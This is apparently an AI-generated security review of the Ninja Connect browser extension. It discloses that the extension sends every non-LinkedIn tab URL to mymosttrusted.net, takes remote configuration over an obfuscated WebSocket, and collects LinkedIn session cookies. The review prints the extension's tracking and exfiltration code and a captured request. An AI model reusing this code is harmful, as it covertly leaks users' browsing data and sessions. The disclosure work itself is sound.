Is Ninja Connect safe?
Ninja Connect is high risk. Ninja Connect watches every open tab. When a tab loads a page that isn't linkedin.com, it sends the full URL, including search terms or IDs, to its server, mymosttrusted.net. We observed a Meet URL with "buy usb cable" sent intact.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Full Browsing URL of Every Non-LinkedIn Tab Sent to mymosttrusted.net
Ninja Connect watches every open tab.
When a tab loads a page that isn't linkedin.com, it sends the full URL, including search terms or IDs, to its server, mymosttrusted.net.
We observed a Meet URL with "buy usb cable" sent intact.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open or switch to any tab, and the page finishes loading; this applies to every site except linkedin.com.
The tab fires a 'complete' status event that the background service worker listens for on every open tab, not just the active one.
The extension sends the full URL of that tab, including any search terms or path details, to its own server.
This happens automatically, without a consent prompt or any visible indicator in the extension's popup.
500 (server-side error; request delivery to mymosttrusted.net is confirmed independent of the response)
- Accept
- application/json
- trustee
- Content-Type
- application/json
{ "url": "https://meet.google.com/_meet/whoops?q=buy+usb+cable&sc=232", "v": "1.0.0.13", "app": "Ninja Connect", "profile_id": null}background.js, non-LinkedIn tab URL POSTed to mymosttrusted.net on every navigation
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => { if (changeInfo.status === 'complete' && tab?.url) { // (LinkedIn cookie harvest happens here when the tab IS linkedin.com — see the cookie-harvest claim) // For every tab that is NOT linkedin.com, report the full URL: if (tab.url && tab.url.search(/linkedin.com/gm) === -1) { const { url } = tab; self.callBackEnd('-v5/detect-link', 'POST', { url }, () => {}, true); } }});// callBackEnd() appends the extension version + name and fires:// fetch('https://mymosttrusted.net/api-v5/detect-link', { method: 'POST', body: JSON.stringify({ url, v, app, profile_id }) })- mymosttrusted.net
Receives the full URL of every non-LinkedIn tab, including search queries, via /api-v5/detect-link. Operator of Ninja Connect. Unaffiliated with LinkedIn.
Server Controls Extension Behavior via Persistent WebSocket with Obfuscated Path
Ninja Connect keeps a WebSocket open to mymosttrusted.net via a random hash path.
On install, the server pushes a config for which LinkedIn pages to scrape, which selectors/APIs to use, and which features show, changeable anytime.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You install Ninja Connect or restart your browser.
The extension's Angular service boots and calls startListening() on the HTTP service.
The extension opens a WebSocket to mymosttrusted.net; the server immediately pushes a behavioral config controlling which LinkedIn data is scraped and how the UI behaves.
The configuration is written to chrome.storage.local and takes effect immediately, with no user notification.
Socket.IO connection and li-cfgs config handler in main.js
main.js — readable: Socket.IO connects via obfuscated path on startup
main.0226af59feff778a.jsconst SOCKET_CONFIG = { production: true, live: true, // Base64-encoded key label: 'SE1BQy1TSEEyNTY=' decodes to 'HMAC-SHA256' encKey: 'SE1BQy1TSEEyNTY=', // Obfuscated socket path — fixed identifier disguised as a content hash socketPath: '/e3c341d44e7f6f0ad1f0cdf5f3a561a5', mode: 'prod'};// Socket.IO connects to: wss://mymosttrusted.net/e3c341d44e7f6f0ad1f0cdf5f3a561a5/main.js — readable: server pushes behavioral config on connect, stored locally
main.0226af59feff778a.js// Server fires 'li-cfgs' on connection; extension applies config immediatelythis.socket.on('li-cfgs', (serverConfig) => { // Certain config fields arrive as JSON strings — parse them const jsonFields = [ 'upgrade_to_premium_text', 'introduction_alert_text', 'trustometer_advocate', 'trustometer_superconnector', 'trustometer_senior', 'trustometer_junior', 'trustometer_newcommer', 'match_me_form_template', 'crm_form_template' ]; jsonFields.forEach(field => { if (typeof serverConfig[field] === 'string') { serverConfig[field] = JSON.parse(serverConfig[field]); } }); // Apply in memory — affects all running content scripts immediately this.li_configs = serverConfig; this.loadedConfigs.next(serverConfig || []); // Persist to storage — survives browser restart, intentionally preserved on logout this.chrome.storage.local.set({ li_configs: serverConfig }, () => {});});The server controls which LinkedIn endpoints, data, and UI features are used, changeable without an update and surviving sign-out.
- Location
- chrome.storage.local key 'li_configs'
{ "cnt": "https://www.linkedin.com/voyager/api/identity/profiles/{id}/networkinfo", "srp": "https://www.linkedin.com/voyager/api/search/blended?keywords={q}&origin=GLOBAL_SEARCH_HEADER", "story": "https://www.linkedin.com/voyager/api/identity/profiles/{id}/profileView", "feature_flags": { "show_crm": false, "show_circles": true, "show_matchme": true }, "subscription_url": "https://mymosttrusted.net/subscribe", "crm_form_template": { "title": "Save to CRM", "fields": [ "company", "role", "notes" ] }, "trustometer_senior": { "label": "Senior Connector", "badge_color": "#0077b5", "min_connections": 500 }, "match_me_form_template": { "title": "Request an Introduction", "fields": [ "name", "email", "message" ] }, "subscription_url_query": "&ref=ext", "upgrade_to_premium_text": { "label": "Upgrade to Premium", "other_text": "to unlock all features", "upgrade_text": "Go Premium" }}- mymosttrusted.net
Maintains the Socket.IO connection; pushes a 70KB 'li-cfgs' config controlling LinkedIn data access. Also receives session cookies via the 'trustee' header (claim 6276).
What it can do
Permissions this extension asks for, as declared in version 1.0.0.13. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on linkedin.com
*://*.linkedin.com/*
Read and change your data on gstatic.com
*://*.gstatic.com/*
Read and change your data on mymosttrusted.net
*://*.mymosttrusted.net/* and 1 more
Read and change your data on static-exp2.licdn.com
*://static-exp2.licdn.com/*
Read and change your data on linkedlimits.com
*://*.linkedlimits.com/*
Read and change your data on meet.google.com
*://meet.google.com/*
Read and change your data on my-most-trusted.com
*://*.my-most-trusted.com/*
Read and change your data on meetn.com
*://*.meetn.com/*
Read and change your data on zoom.us
*://*.zoom.us/*
Read and change your data on remo.co
*://*.remo.co/*
Read and change your data on beekonnected.com
*://*.beekonnected.com/*
Run hidden pages in the background
offscreen
Store data in your browser
storage
Keep running in the background while your browser is open
background
Schedule its own background tasks
alarms
Show you desktop notifications
notifications
Start, monitor and manage your downloads
downloads
Run its own code inside the pages you visit
scripting
Read and change cookies, including the ones that keep you signed in
cookies